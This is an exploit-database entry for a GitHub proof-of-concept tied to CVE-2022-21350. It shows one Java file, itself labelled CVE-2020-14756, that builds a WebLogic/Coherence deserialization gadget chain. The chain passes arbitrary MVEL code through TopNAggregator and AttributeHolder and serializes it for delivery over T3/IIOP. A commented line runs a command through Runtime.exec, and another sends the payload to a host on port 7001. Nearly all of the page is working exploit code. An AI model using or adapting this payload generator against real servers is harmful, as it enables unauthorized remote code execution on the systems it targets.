Exploit database

GH-63dc648064de74b23840c7a791ecc76d

hktalent/cve-2022-21350

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-21350

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/main/java/com/_51pwn/CVE_2020_14756/Main.java

Java · 2,369 bytes
package com._51pwn.CVE_2020_14756;

import com._51pwn.tools.Tools;
import com.tangosol.coherence.rest.util.extractor.MvelExtractor;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

// CVE-2020-14756 T3/IIOP 反序列化RCE
/*
com.tangosol.coherence.servlet.AttributeHolder.readExternal()
  ExternalizableHelper.readObject()
    ExternalizableHelper.readObjectInternal()
      ExternalizableHelper.readExternalizableLite()
        com.tangosol.util.aggregato.TopNAggregator.PartialResult.readExternal()
           com.tangosol.util.aggregato.TopNAggregator.PartialResult.add()
             (AbstractExtractor)MvelExtractor.compare()
               MvelExtractor.extract()
                 MVEL.executeExpression()
*/
public class Main {
    public static void main(String[] args) throws Exception {
        String elCode = args[1];//"java.lang.Runtime.getRuntime().exec(\"calc\");";
        MvelExtractor extractor = new MvelExtractor(elCode);

        try {
            SortedBag sortedBag = new TopNAggregator.PartialResult(new MvelExtractor(""), 2);
            sortedBag.add(1);

            Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
            m_comparator.setAccessible(true);
            m_comparator.set(sortedBag, extractor);

//            Reflections.setFieldValue(attributeHolder,"size",2);
            AttributeHolder attributeHolder = new AttributeHolder();
            Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
            setInternalValue.setAccessible(true);
            setInternalValue.invoke(attributeHolder, sortedBag);
            /*
            FileOutputStream fileOutputStream = new FileOutputStream(new File("test.ser"));
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(attributeHolder);
            */
            Tools.WtOo1(attributeHolder);
//            T3ProtocolOperation.send("192.168.65.128", "7001", Serializables.serialize(attributeHolder));

        } catch (Exception e) {
            e.printStackTrace();
        }


        System.out.println("write ok");
    }
}